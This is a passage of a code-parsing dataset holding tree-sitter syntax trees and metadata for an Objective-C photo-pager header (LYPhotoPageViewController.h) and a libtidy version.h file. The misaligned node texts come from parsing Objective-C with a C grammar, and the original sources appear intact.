44, "column": 11}, "end_point": {"row": 44, "column": 20}}, {"id": 155, "type": "type_identifier", "text": "natomic, ", "parent": 154, "children": [], "start_point": {"row": 44, "column": 11}, "end_point": {"row": 44, "column": 20}}, {"id": 156, "type": "parameter_declaration", "text": "ak) ", "parent": 153, "children": [157], "start_point": {"row": 44, "column": 22}, "end_point": {"row": 44, "column": 26}}, {"id": 157, "type": "type_identifier", "text": "ak) ", "parent": 156, "children": [], "start_point": {"row": 44, "column": 22}, "end_point": {"row": 44, "column": 26}}, {"id": 158, "type": "identifier", "text": "<R", "parent": 151, "children": [], "start_point": {"row": 44, "column": 28}, "end_point": {"row": 44, "column": 30}}, {"id": 159, "type": "<", "text": "M", "parent": 135, "children": [], "start_point": {"row": 44, "column": 30}, "end_point": {"row": 44, "column": 31}}, {"id": 160, "type": "identifier", "text": "PhotoPageViewControllerDelegate> ", "parent": 135, "children": [], "start_point": {"row": 44, "column": 31}, "end_point": {"row": 44, "column": 64}}, {"id": 161, "type": ">", "text": "d", "parent": 134, "children": [], "start_point": {"row": 44, "column": 64}, "end_point": {"row": 44, "column": 65}}, {"id": 162, "type": "identifier", "text": "legate;\n", "parent": 134, "children": [], "start_point": {"row": 44, "column": 66}, "end_point": {"row": 44, "column": 74}}, {"id": 163, "type": "ERROR", "text": "r", "parent": 6, "children": [164], "start_point": {"row": 45, "column": 0}, "end_point": {"row": 45, "column": 1}}, {"id": 164, "type": "ERROR", "text": "r", "parent": 163, "children": [], "start_point": {"row": 45, "column": 0}, "end_point": {"row": 45, "column": 1}}, {"id": 165, "type": "binary_expression", "text": "operty (nonatomic, weak) id<RMPhotoPageViewControllerDataSource> dataSource;\n", "parent": 6, "children": [166, 176, 177], "start_point": {"row": 45, "column": 1}, "end_point": {"row": 45, "column": 78}}, {"id": 166, "type": "binary_expression", "text": "operty (nonatomic, weak) id<RMPhotoPageViewControllerDataSource> ", "parent": 165, "children": [167, 172, 174, 175], "start_point": {"row": 45, "column": 1}, "end_point": {"row": 45, "column": 66}}, {"id": 167, "type": "call_expression", "text": "operty (nonatomic, weak) i", "parent": 166, "children": [168, 169], "start_point": {"row": 45, "column": 1}, "end_point": {"row": 45, "column": 27}}, {"id": 168, "type": "identifier", "text": "operty (", "parent": 167, "children": [], "start_point": {"row": 45, "column": 1}, "end_point": {"row": 45, "column": 9}}, {"id": 169, "type": "argument_list", "text": "onatomic, weak) i", "parent": 167, "children": [170, 171], "start_point": {"row": 45, "column": 10}, "end_point": {"row": 45, "column": 27}}, {"id": 170, "type": "identifier", "text": "natomic, ", "parent": 169, "children": [], "start_point": {"row": 45, "column": 11}, "end_point": {"row": 45, "column": 20}}, {"id": 171, "type": "identifier", "text": "ak) ", "parent": 169, "children": [], "start_point": {"row": 45, "column": 22}, "end_point": {"row": 45, "column": 26}}, {"id": 172, "type": "ERROR", "text": "<R", "parent": 166, "children": [173], "start_point": {"row": 45, "column": 28}, "end_point": {"row": 45, "column": 30}}, {"id": 173, "type": "identifier", "text": "<R", "parent": 172, "children": [], "start_point": {"row": 45, "column": 28}, "end_point": {"row": 45, "column": 30}}, {"id": 174, "type": "<", "text": "M", "parent": 166, "children": [], "start_point": {"row": 45, "column": 30}, "end_point": {"row": 45, "column": 31}}, {"id": 175, "type": "identifier", "text": "PhotoPageViewControllerDataSource> ", "parent": 166, "children": [], "start_point": {"row": 45, "column": 31}, "end_point": {"row": 45, "column": 66}}, {"id": 176, "type": ">", "text": "d", "parent": 165, "children": [], "start_point": {"row": 45, "column": 66}, "end_point": {"row": 45, "column": 67}}, {"id": 177, "type": "identifier", "text": "taSource;\n", "parent": 165, "children": [], "start_point": {"row": 45, "column": 68}, "end_point": {"row": 45, "column": 78}}, {"id": 178, "type": "unary_expression", "text": "(instancetype)viewController;\n", "parent": 6, "children": [179], "start_point": {"row": 47, "column": 0}, "end_point": {"row": 47, "column": 30}}, {"id": 179, "type": "cast_expression", "text": "nstancetype)viewController;\n", "parent": 178, "children": [180, 182], "start_point": {"row": 47, "column": 2}, "end_point": {"row": 47, "column": 30}}, {"id": 180, "type": "type_descriptor", "text": "stancetype)v", "parent": 179, "children": [181], "start_point": {"row": 47, "column": 3}, "end_point": {"row": 47, "column": 15}}, {"id": 181, "type": "type_identifier", "text": "stancetype)v", "parent": 180, "children": [], "start_point": {"row": 47, "column": 3}, "end_point": {"row": 47, "column": 15}}, {"id": 182, "type": "identifier", "text": "ewController;\n", "parent": 179, "children": [], "start_point": {"row": 47, "column": 16}, "end_point": {"row": 47, "column": 30}}, {"id": 183, "type": "unary_expression", "text": "(void)reloadData;\n", "parent": 6, "children": [184], "start_point": {"row": 49, "column": 0}, "end_point": {"row": 49, "column": 18}}, {"id": 184, "type": "cast_expression", "text": "oid)reloadData;\n", "parent": 183, "children": [185, 187], "start_point": {"row": 49, "column": 2}, "end_point": {"row": 49, "column": 18}}, {"id": 185, "type": "type_descriptor", "text": "id)r", "parent": 184, "children": [186], "start_point": {"row": 49, "column": 3}, "end_point": {"row": 49, "column": 7}}, {"id": 186, "type": "primitive_type", "text": "id)r", "parent": 185, "children": [], "start_point": {"row": 49, "column": 3}, "end_point": {"row": 49, "column": 7}}, {"id": 187, "type": "identifier", "text": "loadData;\n", "parent": 184, "children": [], "start_point": {"row": 49, "column": 8}, "end_point": {"row": 49, "column": 18}}, {"id": 188, "type": "unary_expression", "text": "(NSUInteger)numberOfIndex;\n", "parent": 6, "children": [189], "start_point": {"row": 51, "column": 0}, "end_point": {"row": 51, "column": 27}}, {"id": 189, "type": "cast_expression", "text": "SUInteger)numberOfIndex;\n", "parent": 188, "children": [190, 192], "start_point": {"row": 51, "column": 2}, "end_point": {"row": 51, "column": 27}}, {"id": 190, "type": "type_descriptor", "text": "UInteger)n", "parent": 189, "children": [191], "start_point": {"row": 51, "column": 3}, "end_point": {"row": 51, "column": 13}}, {"id": 191, "type": "type_identifier", "text": "UInteger)n", "parent": 190, "children": [], "start_point": {"row": 51, "column": 3}, "end_point": {"row": 51, "column": 13}}, {"id": 192, "type": "identifier", "text": "mberOfIndex;\n", "parent": 189, "children": [], "start_point": {"row": 51, "column": 14}, "end_point": {"row": 51, "column": 27}}, {"id": 193, "type": "ERROR", "text": "(void)setCurrentIndex:(NSUInteger)cu", "parent": 6, "children": [194, 199], "start_point": {"row": 53, "column": 0}, "end_point": {"row": 53, "column": 36}}, {"id": 194, "type": "unary_expression", "text": "(void)setCurrentIndex:(", "parent": 193, "children": [195], "start_point": {"row": 53, "column": 0}, "end_point": {"row": 53, "column": 23}}, {"id": 195, "type": "cast_expression", "text": "oid)setCurrentIndex:(", "parent": 194, "children": [196, 198], "start_point": {"row": 53, "column": 2}, "end_point": {"row": 53, "column": 23}}, {"id": 196, "type": "type_descriptor", "text": "id)s", "parent": 195, "children": [197], "start_point": {"row": 53, "column": 3}, "end_point": {"row": 53, "column": 7}}, {"id": 197, "type": "primitive_type", "text": "id)s", "parent": 196, "children": [], "start_point": {"row": 53, "column": 3}, "end_point": {"row": 53, "column": 7}}, {"id": 198, "type": "identifier", "text": "tCurrentIndex:(", "parent": 195, "children": [], "start_point": {"row": 53, "column": 8}, "end_point": {"row": 53, "column": 23}}, {"id": 199, "type": "identifier", "text": "UInteger)c", "parent": 193, "children": [], "start_point": {"row": 53, "column": 25}, "end_point": {"row": 53, "column": 35}}, {"id": 200, "type": "declaration", "text": "rrentIndex\n scrollAnimation:(EPhotoPageScrollAnimationDirection)animation\n ", "parent": 6, "children": [201, 202, 205], "start_point": {"row": 53, "column": 36}, "end_point": {"row": 54, "column": 69}}, {"id": 201, "type": "type_identifier", "text": "rrentIndex\n ", "parent": 200, "children": [], "start_point": {"row": 53, "column": 36}, "end_point": {"row": 53, "column": 48}}, {"id": 202, "type": "ERROR", "text": "rollAnimation:(EPhotoPageScrollAnimationDirection)an", "parent": 200, "children": [203, 204], "start_point": {"row": 54, "column": 8}, "end_point": {"row": 54, "column": 60}}, {"id": 203, "type": "identifier", "text": "rollAnimation:(", "parent": 202, "children": [], "start_point": {"row": 54, "column": 8}, "end_point": {"row": 54, "column": 23}}, {"id": 204, "type": "identifier", "text": "hotoPageScrollAnimationDirection)a", "parent": 202, "children": [], "start_point": {"row": 54, "column": 25}, "end_point": {"row": 54, "column": 59}}, {"id": 205, "type": "identifier", "text": "imation\n ", "parent": 200, "children": [], "start_point": {"row": 54, "column": 60}, "end_point": {"row": 54, "column": 69}}, {"id": 206, "type": "labeled_statement", "text": "mpletion:(void (^)(BOOL finished))completion;\n\n", "parent": 6, "children": [207], "start_point": {"row": 55, "column": 13}, "end_point": {"row": 55, "column": 60}}, {"id": 207, "type": "statement_identifier", "text": "mpletion:(", "parent": 206, "children": [], "start_point": {"row": 55, "column": 13}, "end_point": {"row": 55, "column": 23}}, {"id": 208, "type": "cast_expression", "text": "oid (^)(BOOL finished))completion;\n", "parent": 206, "children": [209, 218], "start_point": {"row": 55, "column": 24}, "end_point": {"row": 55, "column": 59}}, {"id": 209, "type": "type_descriptor", "text": "id (^)(BOOL finished))c", "parent": 208, "children": [210, 211], "start_point": {"row": 55, "column": 25}, "end_point": {"row": 55, "column": 48}}, {"id": 210, "type": "primitive_type", "text": "id (", "parent": 209, "children": [], "start_point": {"row": 55, "column": 25}, "end_point": {"row": 55, "column": 29}}, {"id": 211, "type": "abstract_function_declarator", "text": ")(BOOL finished))c", "parent": 209, "children": [212, 214], "start_point": {"row": 55, "column": 30}, "end_point": {"row": 55, "column": 48}}, {"id": 212, "type": "abstract_function_declarator", "text": ")(B", "parent": 211, "children": [213], "start_point": {"row": 55, "column": 30}, "end_point": {"row": 55, "column": 33}}, {"id": 213, "type": "parameter_list", "text": ")(B", "parent": 212, "children": [], "start_point": {"row": 55, "column": 30}, "end_point": {"row": 55, "column": 33}}, {"id": 214, "type": "parameter_list", "text": "OOL finished))c", "parent": 211, "children": [215], "start_point": {"row": 55, "column": 33}, "end_point": {"row": 55, "column": 48}}, {"id": 215, "type": "parameter_declaration", "text": "OL finished))", "parent": 214, "children": [216, 217], "start_point": {"row": 55, "column": 34}, "end_point": {"row": 55, "column": 47}}, {"id": 216, "type": "type_identifier", "text": "OL f", "parent": 215, "children": [], "start_point": {"row": 55, "column": 34}, "end_point": {"row": 55, "column": 38}}, {"id": 217, "type": "identifier", "text": "nished))", "parent": 215, "children": [], "start_point": {"row": 55, "column": 39}, "end_point": {"row": 55, "column": 47}}, {"id": 218, "type": "identifier", "text": "mpletion;\n", "parent": 208, "children": [], "start_point": {"row": 55, "column": 49}, "end_point": {"row": 55, "column": 59}}, {"id": 219, "type": "ERROR", "text": "(void)deletePhotoViewControllerAtIndex:(NSUInteger)in", "parent": 6, "children": [220, 225], "start_point": {"row": 57, "column": 0}, "end_point": {"row": 57, "column": 53}}, {"id": 220, "type": "unary_expression", "text": "(void)deletePhotoViewControllerAtIndex:(", "parent": 219, "children": [221], "start_point": {"row": 57, "column": 0}, "end_point": {"row": 57, "column": 40}}, {"id": 221, "type": "cast_expression", "text": "oid)deletePhotoViewControllerAtIndex:(", "parent": 220, "children": [222, 224], "start_point": {"row": 57, "column": 2}, "end_point": {"row": 57, "column": 40}}, {"id": 222, "type": "type_descriptor", "text": "id)d", "parent": 221, "children": [223], "start_point": {"row": 57, "column": 3}, "end_point": {"row": 57, "column": 7}}, {"id": 223, "type": "primitive_type", "text": "id)d", "parent": 222, "children": [], "start_point": {"row": 57, "column": 3}, "end_point": {"row": 57, "column": 7}}, {"id": 224, "type": "identifier", "text": "letePhotoViewControllerAtIndex:(", "parent": 221, "children": [], "start_point": {"row": 57, "column": 8}, "end_point": {"row": 57, "column": 40}}, {"id": 225, "type": "identifier", "text": "UInteger)i", "parent": 219, "children": [], "start_point": {"row": 57, "column": 42}, "end_point": {"row": 57, "column": 52}}, {"id": 226, "type": "declaration", "text": "dex\n scrollAnimation:(EPhotoPageScrollAnimationDirection)animation\n ", "parent": 6, "children": [227, 228, 231], "start_point": {"row": 57, "column": 53}, "end_point": {"row": 58, "column": 86}}, {"id": 227, "type": "type_identifier", "text": "dex\n ", "parent": 226, "children": [], "start_point": {"row": 57, "column": 53}, "end_point": {"row": 57, "column": 58}}, {"id": 228, "type": "ERROR", "text": "rollAnimation:(EPhotoPageScrollAnimationDirection)an", "parent": 226, "children": [229, 230], "start_point": {"row": 58, "column": 25}, "end_point": {"row": 58, "column": 77}}, {"id": 229, "type": "identifier", "text": "rollAnimation:(", "parent": 228, "children": [], "start_point": {"row": 58, "column": 25}, "end_point": {"row": 58, "column": 40}}, {"id": 230, "type": "identifier", "text": "hotoPageScrollAnimationDirection)a", "parent": 228, "children": [], "start_point": {"row": 58, "column": 42}, "end_point": {"row": 58, "column": 76}}, {"id": 231, "type": "identifier", "text": "imation\n ", "parent": 226, "children": [], "start_point": {"row": 58, "column": 77}, "end_point": {"row": 58, "column": 86}}, {"id": 232, "type": "labeled_statement", "text": "mpletion:(void (^)(BOOL finished))completion;\n\n", "parent": 6, "children": [233], "start_point": {"row": 59, "column": 30}, "end_point": {"row": 59, "column": 77}}, {"id": 233, "type": "statement_identifier", "text": "mpletion:(", "parent": 232, "children": [], "start_point": {"row": 59, "column": 30}, "end_point": {"row": 59, "column": 40}}, {"id": 234, "type": "cast_expression", "text": "oid (^)(BOOL finished))completion;\n", "parent": 232, "children": [235, 244], "start_point": {"row": 59, "column": 41}, "end_point": {"row": 59, "column": 76}}, {"id": 235, "type": "type_descriptor", "text": "id (^)(BOOL finished))c", "parent": 234, "children": [236, 237], "start_point": {"row": 59, "column": 42}, "end_point": {"row": 59, "column": 65}}, {"id": 236, "type": "primitive_type", "text": "id (", "parent": 235, "children": [], "start_point": {"row": 59, "column": 42}, "end_point": {"row": 59, "column": 46}}, {"id": 237, "type": "abstract_function_declarator", "text": ")(BOOL finished))c", "parent": 235, "children": [238, 240], "start_point": {"row": 59, "column": 47}, "end_point": {"row": 59, "column": 65}}, {"id": 238, "type": "abstract_function_declarator", "text": ")(B", "parent": 237, "children": [239], "start_point": {"row": 59, "column": 47}, "end_point": {"row": 59, "column": 50}}, {"id": 239, "type": "parameter_list", "text": ")(B", "parent": 238, "children": [], "start_point": {"row": 59, "column": 47}, "end_point": {"row": 59, "column": 50}}, {"id": 240, "type": "parameter_list", "text": "OOL finished))c", "parent": 237, "children": [241], "start_point": {"row": 59, "column": 50}, "end_point": {"row": 59, "column": 65}}, {"id": 241, "type": "parameter_declaration", "text": "OL finished))", "parent": 240, "children": [242, 243], "start_point": {"row": 59, "column": 51}, "end_point": {"row": 59, "column": 64}}, {"id": 242, "type": "type_identifier", "text": "OL f", "parent": 241, "children": [], "start_point": {"row": 59, "column": 51}, "end_point": {"row": 59, "column": 55}}, {"id": 243, "type": "identifier", "text": "nished))", "parent": 241, "children": [], "start_point": {"row": 59, "column": 56}, "end_point": {"row": 59, "column": 64}}, {"id": 244, "type": "identifier", "text": "mpletion;\n", "parent": 234, "children": [], "start_point": {"row": 59, "column": 66}, "end_point": {"row": 59, "column": 76}}, {"id": 245, "type": "unary_expression", "text": "(RMPhotoViewController *)photoViewControllerWithIndex:(", "parent": 6, "children": [246], "start_point": {"row": 61, "column": 0}, "end_point": {"row": 61, "column": 55}}, {"id": 246, "type": "cast_expression", "text": "MPhotoViewController *)photoViewControllerWithIndex:(", "parent": 245, "children": [247, 251], "start_point": {"row": 61, "column": 2}, "end_point": {"row": 61, "column": 55}}, {"id": 247, "type": "type_descriptor", "text": "PhotoViewController *)p", "parent": 246, "children": [248, 249], "start_point": {"row": 61, "column": 3}, "end_point": {"row": 61, "column": 26}}, {"id": 248, "type": "type_identifier", "text": "PhotoViewController *", "parent": 247, "children": [], "start_point": {"row": 61, "column": 3}, "end_point": {"row": 61, "column": 24}}, {"id": 249, "type": "abstract_pointer_declarator", "text": "p", "parent": 247, "children": [250], "start_point": {"row": 61, "column": 25}, "end_point": {"row": 61, "column": 26}}, {"id": 250, "type": "*", "text": "p", "parent": 249, "children": [], "start_point": {"row": 61, "column": 25}, "end_point": {"row": 61, "column": 26}}, {"id": 251, "type": "identifier", "text": "otoViewControllerWithIndex:(", "parent": 246, "children": [], "start_point": {"row": 61, "column": 27}, "end_point": {"row": 61, "column": 55}}, {"id": 252, "type": "ERROR", "text": "NSUInteger)index;\n", "parent": 6, "children": [253, 254], "start_point": {"row": 61, "column": 55}, "end_point": {"row": 61, "column": 73}}, {"id": 253, "type": "identifier", "text": "UInteger)i", "parent": 252, "children": [], "start_point": {"row": 61, "column": 57}, "end_point": {"row": 61, "column": 67}}, {"id": 254, "type": "identifier", "text": "dex;\n", "parent": 252, "children": [], "start_point": {"row": 61, "column": 68}, "end_point": {"row": 61, "column": 73}}, {"id": 255, "type": "ERROR", "text": "n", "parent": 6, "children": [256], "start_point": {"row": 63, "column": 0}, "end_point": {"row": 63, "column": 1}}, {"id": 256, "type": "ERROR", "text": "n", "parent": 255, "children": [], "start_point": {"row": 63, "column": 0}, "end_point": {"row": 63, "column": 1}}, {"id": 257, "type": "identifier", "text": "d\n", "parent": 6, "children": [], "start_point": {"row": 63, "column": 1}, "end_point": {"row": 63, "column": 4}}]}, "node_categories": {"declarations": {"functions": [141, 151, 211, 212, 237, 238], "variables": [83, 129, 144, 146, 154, 156, 200, 215, 226, 241], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [15, 20, 25, 30, 48, 49, 53, 60, 64, 65, 66, 77, 88, 89, 90, 97, 99, 108, 109, 110, 123, 134, 135, 165, 166, 167, 178, 179, 183, 184, 188, 189, 194, 195, 208, 220, 221, 234, 245, 246], "assignments": [16, 21, 26, 31], "loops": [], "conditionals": [8, 9, 12, 14, 17, 22, 27, 32, 37, 38, 41, 42, 44, 47, 52, 54, 57, 59, 62, 63, 69, 71, 74, 76, 79, 80, 84, 87, 91, 93, 98, 101, 102, 104, 107, 112, 115, 117, 120, 122, 125, 126, 130, 133, 136, 138, 142, 145, 147, 148, 149, 152, 155, 157, 158, 160, 162, 168, 170, 171, 173, 175, 177, 181, 182, 187, 191, 192, 198, 199, 201, 203, 204, 205, 207, 216, 217, 218, 224, 225, 227, 229, 230, 231, 233, 242, 243, 244, 248, 251, 253, 254, 257], "returns": [], "exceptions": []}, "expressions": {"calls": [0, 3], "literals": [19, 24, 29, 34], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 141, "universal_type": "function", "name": "unknown", "text_snippet": "operty (nonatomic, assign) NSUInteger currentIndex;\n"}, {"node_id": 151, "universal_type": "function", "name": "unknown", "text_snippet": "operty (nonatomic, weak) id<R"}, {"node_id": 211, "universal_type": "function", "name": "unknown", "text_snippet": ")(BOOL finished))c"}, {"node_id": 212, "universal_type": "function", "name": "unknown", "text_snippet": ")(B"}, {"node_id": 237, "universal_type": "function", "name": "unknown", "text_snippet": ")(BOOL finished))c"}, {"node_id": 238, "universal_type": "function", "name": "unknown", "text_snippet": ")(B"}], "class_declarations": [], "import_statements": []}, "original_source_code": "//\n// LYPhotoPageViewController.h\n// LYPhotoPageViewControllerDemo\n//\n// Created by <NAME> on 15-3-2.\n// Copyright (c) 2015\u5e74 LY. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n\n#import \"LYPhotoViewController.h\"\n\ntypedef NS_ENUM(NSUInteger, EPhotoPageScrollAnimationDirection) {\n EPhotoPageScrollAnimationDirectionNone = 0,\n EPhotoPageScrollAnimationDirectionBefore = 1,\n EPhotoPageScrollAnimationDirectionAfter = 2,\n EPhotoPageScrollAnimationDirectionAutomic = 3,\n};\n\n@class LYPhotoPageViewController;\n\n@protocol RMPhotoPageViewControllerDelegate <NSObject>\n\n@optional\n\n- (void)photoPageViewController:(LYPhotoPageViewController *)photoPageViewController\n willScorllToIndex:(NSUInteger)index;\n- (void)photoPageViewController:(LYPhotoPageViewController *)photoPageViewController\n didScorllToIndex:(NSUInteger)index;\n@end\n\n@protocol RMPhotoPageViewControllerDataSource <NSObject>\n\n@required\n- (NSUInteger)numberOfIndexInPhotoPageViewController:(LYPhotoPageViewController *)photoPageViewController;\n- (RMPhotoViewController *)photoPageViewController:(LYPhotoPageViewController *)photoPageViewController\n atIndex:(NSUInteger)index;\n@end\n\n\n@interface LYPhotoPageViewController : UIViewController\n\n@property (nonatomic, assign) NSUInteger currentIndex;\n\n@property (nonatomic, weak) id<RMPhotoPageViewControllerDelegate> delegate;\n@property (nonatomic, weak) id<RMPhotoPageViewControllerDataSource> dataSource;\n\n+ (instancetype)viewController;\n\n- (void)reloadData;\n\n- (NSUInteger)numberOfIndex;\n\n- (void)setCurrentIndex:(NSUInteger)currentIndex\n scrollAnimation:(EPhotoPageScrollAnimationDirection)animation\n completion:(void (^)(BOOL finished))completion;\n\n- (void)deletePhotoViewControllerAtIndex:(NSUInteger)index\n scrollAnimation:(EPhotoPageScrollAnimationDirection)animation\n completion:(void (^)(BOOL finished))completion;\n\n- (RMPhotoViewController *)photoViewControllerWithIndex:(NSUInteger)index;\n\n@end\n"}
81,162
c
/* version information (c) 2007-2015 (W3C) MIT, ERCIM, Keio University See tidy.h for the copyright notice. */ #ifdef RELEASE_DATE static const char TY_(release_date)[] = RELEASE_DATE; #else static const char TY_(release_date)[] = "2015/01/22"; #endif #ifdef LIBTIDY_VERSION #ifdef RC_NUMBER static const char TY_(library_version)[] = LIBTIDY_VERSION "." RC_NUMBER; #else static const char TY_(library_version)[] = LIBTIDY_VERSION; #endif #else static const char TY_(library_version)[] = "5.0.0"; #endif /* eof */
26.26
19
(translation_unit) "/* version information\n\n (c) 2007-2015 (W3C) MIT, ERCIM, Keio University\n See tidy.h for the copyright notice.\n\n*/\n\n#ifdef RELEASE_DATE\nstatic const char TY_(release_date)[] = RELEASE_DATE;\n#else\nstatic const char TY_(release_date)[] = "2015/01/22";\n#endif\n#ifdef LIBTIDY_VERSION\n#ifdef RC_NUMBER\nstatic const char TY_(library_version)[] = LIBTIDY_VERSION "." RC_NUMBER;\n#else\nstatic const char TY_(library_version)[] = LIBTIDY_VERSION;\n#endif\n#else\nstatic const char TY_(library_version)[] = "5.0.0";\n#endif\n\n/* eof */\n" (comment) "/* version information\n\n (c) 2007-2015 (W3C) MIT, ERCIM, Keio University\n See tidy.h for the copyright notice.\n\n*/" (preproc_ifdef) "#ifdef RELEASE_DATE\nstatic const char TY_(release_date)[] = RELEASE_DATE;\n#else\nstatic const char TY_(release_date)[] = "2015/01/22";\n#endif" (#ifdef) "#ifdef" (identifier) "RELEASE_DATE" (declaration) "static const char TY_(release_date)[] = RELEASE_DATE;" (storage_class_specifier) "static" (static) "static" (type_qualifier) "const" (const) "const" (primitive_type) "char" (init_declarator) "TY_(release_date)[] = RELEASE_DATE" (array_declarator) "TY_(release_date)[]" (function_declarator) "TY_(release_date)" (identifier) "TY_" (parameter_list) "(release_date)" (() "(" (parameter_declaration) "release_date" (type_identifier) "release_date" ()) ")" ([) "[" (]) "]" (=) "=" (identifier) "RELEASE_DATE" (;) ";" (preproc_else) "#else\nstatic const char TY_(release_date)[] = "2015/01/22";" (#else) "#else" (declaration) "static const char TY_(release_date)[] = "2015/01/22";" (storage_class_specifier) "static" (static) "static" (type_qualifier) "const" (const) "const" (primitive_type) "char" (init_declarator) "TY_(release_date)[] = "2015/01/22"" (array_declarator) "TY_(release_date)[]" (function_declarator) "TY_(release_date)" (identifier) "TY_" (parameter_list) "(release_date)" (() "(" (parameter_declaration) "release_date" (type_identifier) "release_date" ()) ")" ([) "[" (]) "]" (=) "=" (string_literal) ""2015/01/22"" (") """ (string_content) "2015/01/22" (") """ (;) ";" (#endif) "#endif" (preproc_ifdef) "#ifdef LIBTIDY_VERSION\n#ifdef RC_NUMBER\nstatic const char TY_(library_version)[] = LIBTIDY_VERSION "." RC_NUMBER;\n#else\nstatic const char TY_(library_version)[] = LIBTIDY_VERSION;\n#endif\n#else\nstatic const char TY_(library_version)[] = "5.0.0";\n#endif" (#ifdef) "#ifdef" (identifier) "LIBTIDY_VERSION" (preproc_ifdef) "#ifdef RC_NUMBER\nstatic const char TY_(library_version)[] = LIBTIDY_VERSION "." RC_NUMBER;\n#else\nstatic const char TY_(library_version)[] = LIBTIDY_VERSION;\n#endif" (#ifdef) "#ifdef" (identifier) "RC_NUMBER" (declaration) "static const char TY_(library_version)[] = LIBTIDY_VERSION "." RC_NUMBER;" (storage_class_specifier) "static" (static) "static" (type_qualifier) "const" (const) "const" (primitive_type) "char" (init_declarator) "TY_(library_version)[] = LIBTIDY_VERSION "." RC_NUMBER" (array_declarator) "TY_(library_version)[]" (function_declarator) "TY_(library_version)" (identifier) "TY_" (parameter_list) "(library_version)" (() "(" (parameter_declaration) "library_version" (type_identifier) "library_version" ()) ")" ([) "[" (]) "]" (=) "=" (concatenated_string) "LIBTIDY_VERSION "." RC_NUMBER" (identifier) "LIBTIDY_VERSION" (string_literal) ""."" (") """ (string_content) "." (") """ (identifier) "RC_NUMBER" (;) ";" (preproc_else) "#else\nstatic const char TY_(library_version)[] = LIBTIDY_VERSION;" (#else) "#else" (declaration) "static const char TY_(library_version)[] = LIBTIDY_VERSION;" (storage_class_specifier) "static" (static) "static" (type_qualifier) "const" (const) "const" (primitive_type) "char" (init_declarator) "TY_(library_version)[] = LIBTIDY_VERSION" (array_declarator) "TY_(library_version)[]" (function_declarator) "TY_(library_version)" (identifier) "TY_" (parameter_list) "(library_version)" (() "(" (parameter_declaration) "library_version" (type_identifier) "library_version" ()) ")" ([) "[" (]) "]" (=) "=" (identifier) "LIBTIDY_VERSION" (;) ";" (#endif) "#endif" (preproc_else) "#else\nstatic const char TY_(library_version)[] = "5.0.0";" (#else) "#else" (declaration) "static const char TY_(library_version)[] = "5.0.0";" (storage_class_specifier) "static" (static) "static" (type_qualifier) "const" (const) "const" (primitive_type) "char" (init_declarator) "TY_(library_version)[] = "5.0.0"" (array_declarator) "TY_(library_version)[]" (function_declarator) "TY_(library_version)" (identifier) "TY_" (parameter_list) "(library_version)" (() "(" (parameter_declaration) "library_version" (type_identifier) "library_version" ()) ")" ([) "[" (]) "]" (=) "=" (string_literal) ""5.0.0"" (") """ (string_content) "5.0.0" (") """ (;) ";" (#endif) "#endif" (comment) "/* eof */"
133
0
{"language": "c", "success": true, "metadata": {"lines": 19, "avg_line_length": 26.26, "nodes": 76, "errors": 0, "source_hash": "1db1881a9d8a624561478d9cb742c7963bf503f67f131f298ab390214f8ac864", "categorized_nodes": 45}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifdef RELEASE_DATE\nstatic const char TY_(release_date)[] = RELEASE_DATE;\n#else\nstatic const char TY_(release_date)[] = \"2015/01/22\";\n#endif", "parent": null, "children": [1, 2, 3, 14, 27], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 11, "column": 6}}, {"id": 1, "type": "#ifdef", "text": "#ifdef", "parent": 0, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 6}}, {"id": 2, "type": "identifier", "text": "RELEASE_DATE", "parent": 0, "children": [], "start_point": {"row": 7, "column": 7}, "end_point": {"row": 7, "column": 19}}, {"id": 3, "type": "declaration", "text": "static const char TY_(release_date)[] = RELEASE_DATE;", "parent": 0, "children": [4, 5], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 53}}, {"id": 4, "type": "primitive_type", "text": "char", "parent": 3, "children": [], "start_point": {"row": 8, "column": 13}, "end_point": {"row": 8, "column": 17}}, {"id": 5, "type": "init_declarator", "text": "TY_(release_date)[] = RELEASE_DATE", "parent": 3, "children": [6, 12, 13], "start_point": {"row": 8, "column": 18}, "end_point": {"row": 8, "column": 52}}, {"id": 6, "type": "array_declarator", "text": "TY_(release_date)[]", "parent": 5, "children": [7], "start_point": {"row": 8, "column": 18}, "end_point": {"row": 8, "column": 37}}, {"id": 7, "type": "function_declarator", "text": "TY_(release_date)", "parent": 6, "children": [8, 9], "start_point": {"row": 8, "column": 18}, "end_point": {"row": 8, "column": 35}}, {"id": 8, "type": "identifier", "text": "TY_", "parent": 7, "children": [], "start_point": {"row": 8, "column": 18}, "end_point": {"row": 8, "column": 21}}, {"id": 9, "type": "parameter_list", "text": "(release_date)", "parent": 7, "children": [10], "start_point": {"row": 8, "column": 21}, "end_point": {"row": 8, "column": 35}}, {"id": 10, "type": "parameter_declaration", "text": "release_date", "parent": 9, "children": [11], "start_point": {"row": 8, "column": 22}, "end_point": {"row": 8, "column": 34}}, {"id": 11, "type": "type_identifier", "text": "release_date", "parent": 10, "children": [], "start_point": {"row": 8, "column": 22}, "end_point": {"row": 8, "column": 34}}, {"id": 12, "type": "=", "text": "=", "parent": 5, "children": [], "start_point": {"row": 8, "column": 38}, "end_point": {"row": 8, "column": 39}}, {"id": 13, "type": "identifier", "text": "RELEASE_DATE", "parent": 5, "children": [], "start_point": {"row": 8, "column": 40}, "end_point": {"row": 8, "column": 52}}, {"id": 14, "type": "preproc_else", "text": "#else\nstatic const char TY_(release_date)[] = \"2015/01/22\";", "parent": 0, "children": [15, 16], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 10, "column": 53}}, {"id": 15, "type": "#else", "text": "#else", "parent": 14, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 5}}, {"id": 16, "type": "declaration", "text": "static const char TY_(release_date)[] = \"2015/01/22\";", "parent": 14, "children": [17, 18], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 53}}, {"id": 17, "type": "primitive_type", "text": "char", "parent": 16, "children": [], "start_point": {"row": 10, "column": 13}, "end_point": {"row": 10, "column": 17}}, {"id": 18, "type": "init_declarator", "text": "TY_(release_date)[] = \"2015/01/22\"", "parent": 16, "children": [19, 25, 26], "start_point": {"row": 10, 